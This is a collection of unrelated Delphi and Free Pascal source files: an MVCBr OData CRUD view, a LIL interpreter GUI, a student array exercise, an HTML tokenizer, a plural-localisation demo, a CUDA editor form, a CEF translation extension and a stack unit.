{//************************************************************//} {// //} {// Código gerado pelo assistente //} {// //} {// Projeto MVCBr //} {// tireideletra.com.br / amarildo lacerda //} {//************************************************************//} {// Data: 28/03/2017 22:19:50 //} {//************************************************************//} /// <summary> /// Uma View representa a camada de apresentação ao usuário /// deve esta associado a um controller onde ocorrerá /// a troca de informações e comunicação com os Models /// </summary> unit CRUDProdutosView; interface uses {$IFDEF FMX}FMX.Forms, {$ELSE}VCL.Forms, {$ENDIF} System.SysUtils, System.Classes,MVCBr.Interf, MVCBr.View,MVCBr.FormView,MVCBr.Controller, System.Rtti, FMX.Grid.Style, FireDAC.Stan.Intf, FireDAC.Stan.Option, FireDAC.Stan.Param, FireDAC.Stan.Error, FireDAC.DatS, FireDAC.Phys.Intf, FireDAC.DApt.Intf, Data.Bind.EngExt, Fmx.Bind.DBEngExt, Fmx.Bind.Grid, System.Bindings.Outputs, Fmx.Bind.Editors, FMX.StdCtrls, Data.Bind.Components, Data.Bind.Grid, Data.Bind.DBScope, oData.Comp.Client, MVCBr.ODataDatasetBuilder, Data.DB, FireDAC.Comp.DataSet, FireDAC.Comp.Client, MVCBr.ODataFDMemTable, FMX.Types, FMX.Controls, FMX.Controls.Presentation, FMX.ScrollBox, FMX.Grid; type /// Interface para a VIEW ICRUDProdutosView = interface(IView) ['{44142BA9-765B-44E3-A59D-91B39AA4F7F9}'] // incluir especializacoes aqui end; /// Object Factory que implementa a interface da VIEW TCRUDProdutosView = class(TFormFactory {TFORM} ,IView,IThisAs<TCRUDProdutosView>, ICRUDProdutosView,IViewAs<ICRUDProdutosView>) StringGrid1: TStringGrid; ODataFDMemTable1: TODataFDMemTable; ODataDatasetBuilder1: TODataDatasetBuilder; BindSourceDB1: TBindSourceDB; BindingsList1: TBindingsList; LinkGridToDataSourceBindSourceDB1: TLinkGridToDataSource; Button1: TButton; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private FInited:Boolean; protected procedure Init; function Controller(const aController: IController): IView;override; public { Public declarations } class function New(AController:IController):IView; function This: TObject;override; function ThisAs:TCRUDProdutosView; function ViewAs:ICRUDProdutosView; function ShowView(const AProc: TProc<IView>): integer;override; function UpdateView: IView;override; end; Implementation {$R *.FMX} function TCRUDProdutosView.UpdateView:IView; begin result := self; {codigo para atualizar a View vai aqui...} end; function TCRUDProdutosView.ViewAs:ICRUDProdutosView; begin result := self; end; class function TCRUDProdutosView.new(AController:IController):IView; begin result := TCRUDProdutosView.create(nil); result.controller(AController); end; procedure TCRUDProdutosView.Button1Click(Sender: TObject); begin ODataDatasetBuilder1.execute; end; procedure TCRUDProdutosView.Button2Click(Sender: TObject); begin ODataFDMemTable1.ApplyUpdates(); end; function TCRUDProdutosView.Controller(const AController:IController):IView; begin result := inherited Controller(AController); if not FInited then begin init; FInited:=true; end; end; procedure TCRUDProdutosView.Init; begin // incluir incializações aqui end; function TCRUDProdutosView.This:TObject; begin result := inherited This; end; function TCRUDProdutosView.ThisAs:TCRUDProdutosView; begin result := self; end; function TCRUDProdutosView.ShowView(const AProc:TProc<IView>):integer; begin inherited; end; end.
unit Unit1; {$mode objfpc}{$H+} interface uses Classes, SysUtils, FileUtil, LResources, Forms, Controls, Graphics, Dialogs, Menus, StdCtrls, ExtCtrls, LIL; type { TForm1 } TForm1 = class(TForm) ApplicationProperties1: TApplicationProperties; Button1: TButton; Edit1: TEdit; MainMenu1: TMainMenu; mCode: TMenuItem; mCodeClear: TMenuItem; mCodeLoad: TMenuItem; mCodeSave: TMenuItem; Memo1: TMemo; Memo2: TMemo; MenuItem1: TMenuItem; mCodeExit: TMenuItem; mCodeNewWindow: TMenuItem; MenuItem3: TMenuItem; mRunRun: TMenuItem; mRun: TMenuItem; OpenDialog1: TOpenDialog; Panel1: TPanel; SaveDialog1: TSaveDialog; Splitter1: TSplitter; procedure Button1Click(Sender: TObject); procedure Edit1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure mCodeClearClick(Sender: TObject); procedure mCodeExitClick(Sender: TObject); procedure mCodeLoadClick(Sender: TObject); procedure mCodeNewWindowClick(Sender: TObject); procedure mCodeSaveClick(Sender: TObject); procedure mRunRunClick(Sender: TObject); private { private declarations } public { public declarations } lil: lil_t; procedure EvalCode(Code: string); end; var Form1: TForm1; implementation function fncShowMessage(lil: lil_t; argc: SIZE_T; argv: lil_value_t_ptr): lil_value_t; stdcall; var Msg, Title: string; begin if argc > 0 then Msg:=lil_to_string(argv[0]) else Msg:='Hello'; if argc > 1 then Title:=lil_to_string(argv[1]) else Msg:='LIL Says'; MessageDlg(Title, Msg, mtCustom, [mbOk], ''); Result:=nil; end; procedure cbExit(lil: lil_t; arg: lil_value_t); stdcall; begin TForm1(lil_get_data(lil)).Close; end; procedure cbWrite(lil: lil_t; pcmsg: PAnsiChar); stdcall; var i: Integer; msg: string; Form1: TForm1; begin msg:=pcmsg; Form1:=TForm1(lil_get_data(lil)); for i:=1 to Length(msg) do if msg[i]=#10 then Form1.Memo1.Text:=Form1.Memo1.Text + LineEnding else Form1.Memo1.Text:=Form1.Memo1.Text + msg[i]; Form1.Memo1.SelStart:=Length(Form1.Memo1.Text); end; { TForm1 } procedure TForm1.FormCreate(Sender: TObject); begin lil:=lil_new; lil_set_data(lil, Self); lil_callback(lil, LIL_CALLBACK_EXIT, lil_callback_proc_t(@cbExit)); lil_callback(lil, LIL_CALLBACK_WRITE, lil_callback_proc_t(@cbWrite)); lil_register(lil, 'show-message', @fncShowMessage); end; procedure TForm1.EvalCode(Code: string); var Msg: PAnsiChar; Pos: Integer; begin lil_free_value(lil_parse(lil, PChar(Code), Length(Code), False)); if lil_error(lil, @Msg, @Pos) then Memo1.Lines.Append('Error at ' + IntToStr(Pos) + ': ' + Msg); end; procedure TForm1.Button1Click(Sender: TObject); begin Memo1.Lines.Append('> ' + Edit1.Text); EvalCode(Edit1.Text); Edit1.Text:=''; end; procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState ); begin if Key=13 then begin Key:=0; Button1Click(Sender); end; end; procedure TForm1.FormDestroy(Sender: TObject); begin lil_free(lil); end; procedure TForm1.mCodeClearClick(Sender: TObject); begin if MessageDlg('Clear code', 'Are you sure?', mtConfirmation, mbYesNo, 0)=mrYes then Memo2.Clear; end; procedure TForm1.mCodeExitClick(Sender: TObject); begin Close; end; procedure TForm1.mCodeLoadClick(Sender: TObject); var Code: string; i: Integer; begin if OpenDialog1.Execute then begin try Memo2.Lines.LoadFromFile(OpenDialog1.FileName); Code:=Memo2.Text; Memo2.Text:=''; for i:=1 to Length(Code) do if Code[i]=#10 then Memo2.Text:=Memo2.Text + LineEnding else if Code[i] <> #13 then Memo2.Text:=Memo2.Text + Code[i]; except ShowMessage('Failed to load ' + OpenDialog1.FileName); end; end; end; var Counter: Integer = 1; procedure TForm1.mCodeNewWindowClick(Sender: TObject); var Frm: TForm1; begin Application.CreateForm(TForm1, Frm); Inc(Counter); Frm.Caption:='LIL Interface for Lazarus and FreePascal (' + IntToStr(Counter) + ')'; Frm.Show; end; procedure TForm1.mCodeSaveClick(Sender: TObject); begin if SaveDialog1.Execute then begin; try Memo2.Lines.SaveToFile(SaveDialog1.FileName); except ShowMessage('Failed to save ' + SaveDialog1.FileName); end; end; end; procedure TForm1.mRunRunClick(Sender: TObject); begin EvalCode(Memo2.Text); end; initialization {$I unit1.lrs} end.
program exam2; const N = 10; type array1d = Array[1..N] of Integer; fnIn = Text; { Start of procedure fileInput } procedure fileInput(var fIn : fnIn); var fName : String; begin Write('Enter file name: '); ReadLn(fName); Assign(fIn, fName); end; { End of procedure fileInput } { Start of procedure fillArray } procedure fillArray(var fIn : fnIn; var arr : array1d); var i : Integer; begin Reset(fIn); for i := 1 to N do begin ReadLn(fIn, arr[i]); end; WriteLn(); end; { End of procedure fillArray } { Start of procedure listArray } procedure listArray(arrList : array1d); var i : Integer; begin WriteLn('Array elements:'); for i := 1 to N do begin Write(arrList[i], ' '); end; WriteLn(); WriteLn(); end; { End of procedure listArray } { Start of function descArray } function descArray(arr : array1d):Boolean; var i : Integer; result : Boolean; begin result := true; for i := 1 to N do begin if arr[i] < arr[i+1] then begin result := false; end; end; descArray := result; if result = true then begin WriteLn('Array elements are sorted in descending order'); end else begin WriteLn('Array elements are not sorted in descending order'); end; WriteLn(); end; { End of function descArray } { Start of procedure tripleEl } procedure tripleEl(arr : array1d); var i, j, k : Integer; result : Integer; begin result := 0; for i := 1 to N do begin for j := i+1 to N do begin for k := j+1 to N do begin if (arr[i] = arr[j]) and (arr[j] = arr[k]) then begin result := result+1; end; end; end; end; if result <> 0 then begin WriteLn('There are ', result, ' number of triple equally valued elements'); end else begin WriteLn('there are no triple equally valued elements'); end; WriteLn(); end; { End of procedure tripleEl } { Start of procedure closeFile } procedure closeFile(var fIn : fnIn); begin Close(fIn); end; { End of procedure closeFile } var elements : array1d; fileOut : fnIn; begin fileInput(fileOut); fillArray(fileOut, elements); listArray(elements); descArray(elements); tripleEl(elements); closeFile(fileOut); Write('Press <Enter> to close the program...'); ReadLn(); end.
unit uHtml_Tokenizador; {include syspchh.inc} { Autor : Fábio Moura de Oliveira Data : 30/10/2015 Classe: THtml_Tokenizador Objetivo: Analisar um string que contém conteúdo de um arquivo html e retorna um lista de string, tal lista terá com conteúdo todos os tags htmls, propriedade deste tag entre outros. Esta classe é útil, se quisermos futuramente, criar um programa que analisa os tags htmls. } {$mode objfpc}{$H+} interface uses Classes, SysUtils, Dialogs, strUtils; type { Tfb_Tokenizador_Html } THtml_Tokenizador = class private strTokens: TStrings; // Guarda cada token html. strHtml_Conteudo: UnicodeString; // Conteúdo html a analisar. function getHtml_Conteudo: Unicodestring; // Retorna o string que o usuário forneceu. function getHtml_Tokens: TStrings; // Retorna o 'TString' gerado pela classe. procedure setHtmlTokens(AValue: TStrings); procedure setHtml_Conteudo(aValue: Unicodestring); // Define o conteúdo html a analisar. public constructor Create; destructor Destroy; override; property html_Conteudo: Unicodestring write setHtml_Conteudo; property html_Tokens: TStrings read getHtml_Tokens write setHtmlTokens; function Analisar_Html: boolean; // Separa o contéudo html em tokens html. function Analisar_Html(out strToken: TStrings): boolean; function Analisar_Html(conteudo_em_html: string; var strToken: TStrings): boolean; end; implementation { Tfb_Tokenizador_Html } function THtml_Tokenizador.getHtml_Conteudo: Unicodestring; begin Result := strHtml_Conteudo; end; procedure THtml_Tokenizador.setHtml_Conteudo(aValue: Unicodestring); begin self.strHtml_Conteudo := aValue; end; constructor THtml_Tokenizador.Create; begin self.strTokens := TStringList.Create; end; destructor THtml_Tokenizador.Destroy; begin FreeAndNil(self.strTokens); end; function THtml_Tokenizador.getHtml_Tokens: TStrings; begin // Cuidado, se você não executou a função 'Analisar_Html', esta função // retornará um ponteiro nulo. if Assigned(strTokens) = False then begin Result := nil; raise Exception.Create('O string está vazio.'); end; Result := strTokens; end; procedure THtml_Tokenizador.setHtmlTokens(AValue: TStrings); begin self.strTokens := Avalue; end; { A função Analisar_Html é a principal da classe, é nela que toda a análise é realizada. // Esta função só vai retornar false, se o usuário fornecer o 'strHtml_Conteudo' vazio. // Ou, se por algum motivo, não for possível criar o 'TStrings' strToken. } function THtml_Tokenizador.Analisar_Html: boolean; var pHtml, pTemp, pFechar_Tag: PUnicodechar; strToken_Temp: UnicodeString; pSeparador: PUnicodeChar; pNao_Espaco: PUnicodeChar; pFecha_Aspas: PUnicodeChar; pSeparador_Proximo: PUnicodeChar; uQuantidade: integer; tokens_temp: TStrings; iA: integer; pLetraU: char; begin if self.strHtml_Conteudo = '' then begin Exit(False); end; if Assigned(strTokens) = False then begin strTokens := TStringList.Create; end; // Vamos verificar se conseguirmos criar o objeto. if Assigned(strTokens) = False then begin Exit(False); end; // Vamos colocar um #0 no final para indicar terminado nulo. strHtml_Conteudo := strHtml_conteudo + #$00; pHtml := PUnicodeChar(strHtml_Conteudo); strToken_Temp := ''; // Vamos apagar sempre strTokens strTokens.Clear; // O algoritmo abaixo separa os tag, de todos os outros tipos de tag e propriedades. try while pHtml^ <> #0 do begin uQuantidade := strTokens.Count; { if ((pHtml - 3)^ = 'r') and ((pHtml - 2)^ = 'o') and ((pHtml - 1)^ = 's') then pLetraU := (pHtml - 4)^; if pHtml^ = 'ú' then Writeln('Teste'); } case pHtml^ of '<': begin // Toda vez que encontramos o '<', quer dizer que iremos iniciar // um novo token, então devemos verificar se já há caracteres em // strToken_Temp if strToken_Temp <> '' then begin strTokens.Add(strToken_Temp); strToken_Temp := ''; end; strToken_Temp := '<'; Inc(pHtml); continue; end; '>': begin if strToken_Temp = '' then begin strTokens.Add('>'); Inc(pHtml); Continue; end; // Se encontrarmos o '>', quer dizer que fecharemos um tag // Vamos verificar se há caracteres pendentes em 'strToken_Temp' // Se sim, verificaremos se começa com '<' if strToken_Temp <> '' then begin // Se o primeiro caractere começa com '<', quer dizer que há um // tag html formado. if strToken_Temp[1] = '<' then begin strToken_Temp := strToken_Temp + '>'; strTokens.Add(strToken_Temp); strToken_Temp := ''; end else if strToken_Temp = '--' then begin // Em, 2/11/2015, detectei que não havia implementado // quando houvesse um tag de comentário. // Se em 'strToken_Temp' for igual a '--', quer dizer, que é // um tag de fechamento de comentário. // Em html, um comentário é colocado entre os tags: // '<!-- --> strToken_Temp := strToken_Temp + '>'; strTokens.Add(strToken_Temp); strToken_Temp := ''; end else if strToken_Temp = '/' then begin // Em 2/11/2015, detectei que não havia implementado // o tag na forma: <meta /> // Há alguns tags html, que não tem um tag de fechamento // correspondente, por exemplo: // <meta />, por haver entre '<meta' e '/>', atributo // na forma: propriedade=valor strToken_Temp := strToken_Temp + '>'; strTokens.Add(strToken_Temp); strToken_Temp := ''; end else begin // Se não há o caractere inicial '<', quer dizer // que no tag, há atributos do tag no formato // propriedade=valor, neste caso, iremos // adicionar os caracteres que já em 'strTokenTemp' em // strToken, então cria um novo e adicionar '>' strTokens.Add(strToken_Temp); strToken_Temp := ''; strTokens.Add('>'); end; end; Inc(pHtml); end; '''', '"': // Se encontrarmos o apostrófo simples ou duplo, devemos verificar se encontraremos // o outro apostrofo simples ou duplo. begin // 'pTemp' irá apontar para o próximo caractere, pois nós iremos // tentar localizar um segundo caractere igual a 'pHtml^': pTemp := pHtml + 1; //pTemp := PWideChar(strScan(PChar(pTemp), char(pHtml^))); pTemp := strScan(pTemp, pHtml^); // Se não encontrarmos um outro caractere, não indicaremos erro, // Simplesmente, iremos adicionar a 'strToken_Temp' if pTemp = nil then begin strToken_Temp := strToken_Temp + pHtml^; Inc(pHtml); continue; end else begin // Se strToken_Temp não está vazio, então iremos adicionar // a strTokens. if strToken_Temp <> '' then begin strTokens.Add(strToken_Temp); strToken_Temp := ''; end; // Iremos percorrer utilizando pHtml, até encontrarmos pTemp; // Vamos adicionar cada caractere a strToken_Temp e formamos // um novo token. // Como localizamos a outra aspas, iremos copiar, a aspa de abertura // mais os caracteres depois dela até chegar a aspa de fechamento // e copiar a mesma while pHtml <= pTemp do begin if not (pHtml^ in [#255]) then begin strToken_Temp := strToken_Temp + pHtml^; end; Inc(pHtml); end; if strToken_Temp = '"num_id"' then strToken_Temp := strToken_Temp; strTokens.Add(strToken_Temp); strToken_Temp := ''; // Apos sairmos do loop anterior, pHtml, está apontado // Quando acabar o loop 'pHtml' apontará um caractere depois // do apóstrofo simples ou duplo. Continue; end; end; // Se for um dos caracteres não imprimíveis, simplesmente, não iremos // gravar em 'strToken', se houver caracteres remanescentes em 'strToken_Temp' // iremos adicionar em strTokens. #0..#32: begin // Se strToken_Temp está vazio, então, não iremos gravar os espaços // simplesmente, iremos percorrer até encontrar um caractere diferente // de espaço vazio. if strToken_Temp = '' then begin while pHtml^ in [#1..#32] do begin Inc(pHtml); end; Continue; end; // Se o primeiro caractere em 'strToken_Temp' é igual a '<', // quer dizer, que encontramos um novo tag, adicionar a strTokens. if strToken_Temp[1] = '<' then begin strTokens.Add(strToken_Temp); strToken_Temp := ''; // Vamos percorrer até encontrar um caractere diferente de #1..#32. while pHtml^ in [#1..#32] do begin Inc(pHtml); end; Continue; end; // Vamos apontar para o próximo caractere que não seja um espaço pNao_Espaco := pHtml; while (pNao_Espaco^ <> #0) and (pNao_Espaco^ in [#1..#32] = True) do begin Inc(pNao_Espaco); end; // Aqui, para baixo, iremos verificar o primeiro caractere na palavra. // Se encontramos #0, quer dizer que acabou o processamento dos tokens. // Gravar o que estiver em strToken_Temp. if pNao_Espaco^ = #0 then begin strTokens.Add(strToken_Temp); strToken_Temp := ''; pHtml := pNao_Espaco; Continue; end; // Se encontramos o caractere '=', que o que está em strToken_Temp // é uma propriedade. if pNao_Espaco^ = '=' then begin strTokens.Add(strToken_Temp); strToken_Temp := ''; pHtml := pNao_Espaco; Continue; end; // Se encontrarmos o caractere '-', vamos verificar // Se os próximos caracteres indica um tag de fim de comentário. // Um tag de fim de comentário é representado por '-->' if pNao_Espaco^ = '-' then begin // Vamos verificar se há os caracteres '-->' if strlcomp(pNao_Espaco, '-->', 3) = 0 then begin // Se existe o comentário, então, devemos inserir strToken_Temp // em strTokens. strTokens.Add(strToken_Temp); strToken_Temp := ''; // Vamos adicionar também o token '-->' strTokens.Add('-->'); // Vamos apontar pHtml um caractere após '>' // Por que pNao_Espaco + 3, simples, pois: // pNao_Espaco é igual a '-'; // pNao_Espaco + 1 é igual a '-'; // pNao_Espaco + 2 é igual a '>'; pHtml := pNao_Espaco + 3; Continue; end; end; // Se o primeiro caractere, na primeira palavra é '<', quer dizer // que devemos adicionar strtoken_Temp a strToken if (pNao_Espaco^ = '<') or (pNao_Espaco^ = '>') then begin strTokens.Add(strToken_Temp); strToken_Temp := ''; pHtml := pNao_Espaco; Continue; end; // Se o primeiro caractere, é uma aspas simples ou dupla, iremos // percorrer até encontrar a outra aspas. if pNao_Espaco^ in ['''', '"'] then begin pFecha_Aspas := StrScan(pNao_Espaco + 1, pNao_Espaco^); // Se acharmos a outra aspa copia de pHtml até pFecha_Aspas. if pFecha_Aspas <> nil then begin while pHtml <= pFecha_Aspas do begin strToken_Temp := strToken_Temp + pHtml^; Inc(pHtml); end; Continue; end else begin // Não encontramos uma segunda aspas, então devemos adicionar // a strToken_Temp. while pHtml <= pNao_Espaco do begin strToken_Temp := strToken_Temp + pHtml^; Inc(pHtml); end; Continue; end; end; // Se o primeiro caractere não é um Separador, iremos procurar o próximo // Separador, // No loop abaixo, quando for encontrado qualquer um dos caracteres // '>', '<', '#1..#32', '''', '"', '=', '-' // o loop é interrompido. // Este pSeparador_Proximo está após a primeira palavra. // Então deste separador podemos determinar o que iremos fazer com // strToken_Temp. pSeparador := pNao_Espaco; pSeparador_Proximo := pSeparador; while (pSeparador_Proximo^ <> #0) and (pSeparador_Proximo^ in ['>', '<', #1..#32, '''', '"', '='] = False) do begin Inc(pSeparador_Proximo); end; // Se é igual a #0, então adicionar a strToken. if pSeparador_Proximo^ = #0 then begin while pHtml < pSeparador_Proximo do begin strToken_Temp := strToken_Temp + pHtml^; Inc(pHtml); end; Continue; end; // Se o próximo caractere é '=', quer dizer, que os caracteres atuais // antes de pSeparador_Proximo, representa uma propriedade, devemos // adicionar strToken_Temp a strTokens. if pSeparador_Proximo^ = '=' then begin strTokens.Add(strToken_Temp); strToken_Temp := ''; // Adicionar pSeparador até um caractere antes de pSeparador_Proximo a // strToken_Temp e adicionar a strTokens. while pSeparador < pSeparador_Proximo do begin strToken_Temp := strToken_Temp + pSeparador^; Inc(pSeparador); end; strTokens.Add(strToken_Temp); strToken_Temp := ''; // Adicionar o caractere strTokens.Add('='); // Apontar pHtml um caractere após '='. pHtml := pSeparador_Proximo + 1; Continue; end; // Se o próximo caractere é '>' // Então adicionar todos os caractere até antes de pSeparador_Proximo // a strtoken_Temp e depois adicionar a strTokens. if (pSeparador_Proximo^ in ['>', '<'] = True) then begin while pHtml < pSeparador_Proximo do begin strToken_Temp := strToken_Temp + pHtml^; Inc(pHtml); end; strTokens.Add(strToken_Temp); strToken_Temp := ''; //strTokens.Add(pSeparador_Proximo^); pHtml := pSeparador_Proximo; Continue; end; // Se é um caractere de espaço então, iremos adicionar strToken_Temp // a strTokens. if (pSeparador_Proximo^ in [#1..#32] = True) then begin while pHtml < pSeparador_Proximo do begin strToken_Temp := strToken_Temp + pHtml^; Inc(pHtml); end; Continue; end; // Se o primeiro caractere, é uma aspas simples ou dupla, iremos // percorrer até encontrar a outra aspas. if pSeparador_Proximo^ in ['''', '"'] then begin pFecha_Aspas := StrScan(pSeparador_Proximo + 1, pSeparador_Proximo^); // Se acharmos a outra aspa copia de pHtml até pFecha_Aspas. if pFecha_Aspas <> nil then begin while pHtml <= pFecha_Aspas do begin strToken_Temp := strToken_Temp + pHtml^; Inc(pHtml); end; Continue; end else begin // Não encontramos uma segunda aspas, então devemos adicionar // a strToken_Temp. while pHtml <= pSeparador_Proximo do begin strToken_Temp := strToken_Temp + pHtml^; Inc(pHtml); end; Continue; end; end; // ************************************************* // Se chegarmos aqui, quer dizer, que não foi aspas simples nem dupla // Vamos verificar se foi espaço em branco, se for, iremos adicionar // todos os caracteres até chegar em // Esta condição manipula a situação, onde os tags, não tem propriedades // na forma propriedade=valor, mas tem atributos separados por espaço // e entre aspas, por exemplo, o tag <!DOCTYPE: // <!DOCTYPE // html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" // > // O tag <!DOCTYPE não possue propriedade na forma: propriedade=valor // Então, iremos considerar tudo até encontrar o caractere '>', como // um único token. // Observe que entre '<!DOCTYPE' e '>', não pode haver o caractere '<', nem '=' // <!DOCTYPE // html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" // > // Há uma situação em html, que indica o namespace, geralmente há // espaço, onde o tag que fecha. //pFechar_Tag := StrScan(pHtml, '>'); // Há um situação em que o tag mais interno é composto por um conjunto // de palavras, separados por espaço, devemos considerar tais palavras // como um único token. // Mas para detectarmos isto devemos, verificar todos os caracteres // após o espaço até chegar no caractere '<', entre todos os caracteres // e o caractere '<' não deve existir os caracteres '>' e '=' end; // Geralmente, o caractere '=', separa propriedade do seu valor, geralmente // na forma: propriedade=valor '=': begin if strToken_Temp <> '' then begin strTokens.Add(strToken_Temp); strToken_Temp := ''; end; strTokens.Add('='); Inc(pHtml); end; else begin strToken_Temp := strToken_Temp + pHtml^; if strToken_Temp = '"num_id' then strToken_Temp := strToken_Temp; Inc(pHtml); end; end; end; except on exc: Exception do raise exc; end; Exit(True); end; function THtml_Tokenizador.Analisar_Html(out strToken: TStrings): boolean; begin // Se a função retornar ok, iremos atribuir o strToken da classe // ao strToken que o usuário forneceu, neste caso, se o 'TStrings' fornecido // pelo usuário já houver uma lista de string, ela será sobrescrita. if self.Analisar_Html = True then begin if strToken = nil then begin strToken := TStringList.Create; end; if Assigned(self.strTokens) then begin self.strTokens := self.strTokens; end; strToken.Assign(self.strTokens); // O 'TStrings' fornecido pelo usuário será sobescrito, se já houver ítens // na lista, a lista será perdida. //strToken.Assign(self.strTokens); //self.strTokens.Clear; //FreeAndNil(self.strTokens); Result := True; end else begin FreeAndNil(strToken); Result := False; end; end; function THtml_Tokenizador.Analisar_Html(conteudo_em_html: string; var strToken: TStrings): boolean; begin self.html_Conteudo := conteudo_em_html; Result := Analisar_Html(strToken); end; end.
unit Unit1; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, FMX.Types, FMX.Controls, FMX.Forms, FMX.Dialogs, FMX.StdCtrls, FMX.Controls.Presentation; type TForm1 = class(TForm) Label0: TLabel; Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; Label5: TLabel; Label11: TLabel; Label21: TLabel; Label101: TLabel; Label111: TLabel; ZeroCheck: TCheckBox; LanguageButton: TButton; procedure FormCreate(Sender: TObject); procedure LanguageButtonClick(Sender: TObject); procedure ZeroCheckChange(Sender: TObject); private procedure UpdateStrings; end; var Form1: TForm1; implementation {$R *.fmx} uses NtPattern, NtResource, FMX.NtLanguageDlg, FMX.NtTranslator; procedure TForm1.UpdateStrings; function Process(count: Integer): String; begin if not ZeroCheck.IsChecked then begin // Contains two patterns: one and other. Result := TMultiPattern.Format(_T('{plural, one {%d file} other {%d files}}', 'MessagePlural'), count, [count]); end else begin // Contains three patterns: zero, one and other. Result := TMultiPattern.Format(_T('{plural, zero {No files} one {%d file} other {%d files}}', 'ZeroMessagePlural'), count, [count]); end; end; begin label0.Text := Process(0); label1.Text := Process(1); label2.Text := Process(2); label3.Text := Process(3); label4.Text := Process(4); label5.Text := Process(5); label11.Text := Process(11); label21.Text := Process(21); label101.Text := Process(101); label111.Text := Process(111); end; procedure TForm1.FormCreate(Sender: TObject); begin NtResources._T('English', 'en'); NtResources._T('Finnish', 'fi'); NtResources._T('German', 'de'); NtResources._T('French', 'fr'); NtResources._T('Japanese', 'ja'); _T(Self); UpdateStrings; end; procedure TForm1.LanguageButtonClick(Sender: TObject); begin if TNtLanguageDialog.Select then UpdateStrings; end; procedure TForm1.ZeroCheckChange(Sender: TObject); begin UpdateStrings; end; end.
// // VXScene Component Library, based on GLScene http://glscene.sourceforge.net // { Editor of TVXSCUDA } unit FCUDAEditor; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.Layouts, FMX.ListBox, FMX.Objects, FMX.StdCtrls, FMX.Controls.Presentation, VXS.Strings, VXS.CUDA, VXS.CUDAFFTPlan, VXS.CUDAGraphics; type TVXSCUDAEditorForm = class(TForm) ToolBar1: TToolBar; SBOpen: TSpeedButton; Image1: TImage; SBSave: TSpeedButton; Image2: TImage; SBHelp: TSpeedButton; Image3: TImage; ListBox1: TListBox; private public end; var GLSCUDAEditorForm: TVXSCUDAEditorForm; function GLSCUDAEditorForm: TVXSCUDAEditorForm; procedure ReleaseGLSCUDAEditorForm; //------------------------------------------------------------- //------------------------------------------------------------- //------------------------------------------------------------- implementation //------------------------------------------------------------- //------------------------------------------------------------- //------------------------------------------------------------- {$R *.fmx} const cRegistryKey = 'Software\GLScene\GLSCUDAEditor'; var vSCUDAEditorForm: TVXSCUDAEditorForm; function GLSCUDAEditorForm: TVXSCUDAEditorForm; begin if not Assigned(vSCUDAEditorForm) then vSCUDAEditorForm := TVXSCUDAEditorForm.Create(nil); Result := vSCUDAEditorForm; end; procedure ReleaseGLSCUDAEditorForm; begin if Assigned(vSCUDAEditorForm) then begin vSCUDAEditorForm.Free; vSCUDAEditorForm := nil; end; end; end.
unit CefExtension_Translate; interface uses Windows, ActiveX, ceflib, cef, SysUtils, Constants, JS_HTML_Code, Dictionaries, Classes; type TCefTranslateExtension = class(TCefv8HandlerOwn) private protected function Execute(const name: ustring; const obj: ICefv8Value; const arguments: TCefv8ValueArray; var retval: ICefv8Value; var exception: ustring): Boolean; override; public function FindTranslation(const w: String; out translation: String): Boolean; end; implementation uses Translate; function TCefTranslateExtension.Execute(const name: ustring; const obj: ICefv8Value; const arguments: TCefv8ValueArray; var retval: ICefv8Value; var exception: ustring): Boolean; var w, t, tr: String; url: String; gutten: Integer; bFound: Boolean; begin if (name = FN_GET_TRANSLATOR_OBJECT) then begin SetThreadLocale(1049); //russian locale retval := TCefv8ValueRef.CreateObject(nil); retval.SetValueByKey(FN_NAME_TRANSLATE, TCefv8ValueRef.CreateFunction(FN_NAME_TRANSLATE, Self)); retval.SetValueByKey(FN_NAME_FINDWORD, TCefv8ValueRef.CreateFunction(FN_NAME_FINDWORD, Self)); Result := true; end else if(name = FN_NAME_TRANSLATE) then begin w := Trim(arguments[0].GetStringValue()); t := Translate.getFormattedTranslation(w); retval := TCefv8ValueRef.CreateString(t); Result := True; end else if (name = FN_NAME_FINDWORD) then begin end else Result := False; end; function TCefTranslateExtension.FindTranslation(const w: String; out translation: String): Boolean; begin Result := Translate.FindTranslation(w, translation); end; end.
Unit Stack; interface type PStackable=^TStackable; TStackable = object prev: PStackable; constructor Init; procedure Setprev(p: PStackable); function Getprev: PStackable; procedure Show; virtual; destructor Done; virtual; end; PStack = ^TStack; TStack = object (TStackable) top: PStackable; constructor Init; function Pop: PStackable; procedure Push(p: PStackable); procedure Show; virtual; function Empty: Boolean; procedure Error(ErrNum:Word); destructor Done; virtual; end; implementation {Реализация методов класса Stackable} constructor TStackable.Init; begin prev:=Nil; end; function TStackable.Getprev: PStackable; begin Getprev:=prev; end; procedure TStackable.Setprev(p: PStackable); begin prev:=p; end; procedure TStackable.Show; begin RunError(211); end; destructor TStackable.Done; begin end; {Реализация методов класса TStack} constructor TStack.Init; begin inherited Init; top:=Nil; end; function TStack.Pop: PStackable; begin Pop:=top; If Empty Then Error(1) Else top:= top^.Getprev; end; procedure TStack.Push(p: PStackable); begin p^.Setprev(top); top:=p; end; procedure TStack.Show; Var p: PStackable; begin If not Empty Then begin p:= Pop; p^.Show; Show; Push(p); end; end; destructor TStack.Done; Var t: PStackable; begin While not Empty Do begin t:= Pop; Dispose(t, Done); end; end; function TStack.Empty: Boolean; begin Empty:= (top=Nil); end; procedure TStack.Error(ErrNum:Word); begin Writeln('Stack error #',ErrNum); end; end.
